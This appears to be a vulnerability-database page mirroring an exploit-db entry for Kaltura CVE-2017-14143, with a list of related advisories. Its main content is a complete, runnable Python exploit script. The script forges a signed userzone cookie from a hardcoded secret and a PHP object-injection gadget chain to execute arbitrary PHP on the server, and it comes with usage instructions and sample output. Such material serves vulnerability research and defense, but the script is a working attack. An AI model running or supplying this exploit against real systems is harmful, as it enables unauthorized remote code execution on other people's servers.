Lucene search
+L

Kaltura < 13.2.0 - Remote Code Execution

🗓️ 23 Oct 2017 00:00:00Reported by Robin VertonType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 67 Views

Kaltura <= 13.1.0 Remote Code Execution via keditorservice

Related
Code
ReporterTitlePublishedViews
Family
zdt
Kaltura 13.1.0 Code Execution / Cross Site Scripting Vulnerabilities
25 Sep 201700:00
zdt
zdt
Kaltura < 13.1.0 - Remote Code Execution Exploit
23 Oct 201700:00
zdt
zdt
Kaltura - Remote PHP Code Execution over Cookie Exploit
25 Jan 201800:00
zdt
circl
CVE-2017-14143
23 Oct 201700:00
circl
cnvd
Kaltura PHP Object Injection Vulnerability
20 Sep 201700:00
cnvd
cve
CVE-2017-14143
19 Sep 201715:00
cve
cvelist
CVE-2017-14143
19 Sep 201715:00
cvelist
exploitdb
Kaltura - Remote PHP Code Execution over Cookie (Metasploit)
24 Jan 201800:00
exploitdb
exploitpack
Kaltura 13.2.0 - Remote Code Execution
23 Oct 201700:00
exploitpack
metasploit
Kaltura Remote PHP Code Execution over Cookie
23 Oct 201710:18
metasploit
Rows per page
#!/usr/bin/env python

# Kaltura <= 13.1.0 RCE (CVE-2017-14143)
# https://telekomsecurity.github.io/2017/09/kaltura-rce.html
# 
# $ python kaltura_rce.py "https://example.com" 0_xxxxxxxx "system('id')"
# [~] host: https://example.com
# [~] entry_id: 0_xxxxxxxx
# [~] code: system('id')
# [+] sending request..
# uid=1003(wwwrun) gid=50004(www) groups=50004(www),7373(kaltura)

import urllib
import urllib2
import base64
import md5
import sys

cookie_secret = 'y3tAno3therS$cr3T';

def exploit(host, entry_id, php_code):
    print("[+] Sending request..")
    url = "{}/index.php/keditorservices/getAllEntries?list_type=15&entry_id={}".format(host, entry_id)

    cmd = "{}.die();".format(php_code)
    cmd_len = len(cmd)

    payload = "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\0*\0_writers\";a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\0*\0_eventsToMail\";a:1:{i:0;i:1;}s:22:\"\0*\0_layoutEventsToMail\";a:0:{}s:8:\"\0*\0_mail\";O:9:\"Zend_Mail\":0:{}s:10:\"\0*\0_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\0*\0_inflector\";O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\0*\0_matchPattern\";s:7:\"/(.*)/e\";s:15:\"\0*\0_replacement\";s:%s:\"%s\";}s:20:\"\0*\0_inflectorEnabled\";b:1;s:10:\"\0*\0_layout\";s:6:\"layout\";}s:22:\"\0*\0_subjectPrependText\";N;}}};}"

    exploit_code = payload % (len(cmd), cmd)
    encoded = base64.b64encode(exploit_code)
    md5_hash = md5.new("%s%s" % (encoded, cookie_secret)).hexdigest()

    cookies={'userzone': "%s%s" % (encoded, md5_hash)}

    r = urllib2.Request(url)
    r.add_header('Cookie', urllib.urlencode(cookies))

    req = urllib2.urlopen(r)
    return req.read()

if __name__ == '__main__':

    if len(sys.argv) < 4:
        print("Usage: %s <host> <entry_id> <php_code>" % sys.argv[0])
        print(" example: %s http://example.com 0_abc1234 system('id')" % sys.argv[0])
        sys.exit(0)

    host = sys.argv[1]
    entry_id = sys.argv[2]
    cmd = sys.argv[3]

    print("[~] host: %s" % host)
    print("[~] entry_id: %s" % entry_id)
    print("[~] php_code: %s" % cmd)

    result = exploit(sys.argv[1], sys.argv[2], sys.argv[3])

    print(result)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Oct 2017 00:00Current
8.3High risk
Vulners AI Score8.3
CVSS 27.5
CVSS 39.8
EPSS0.75497
67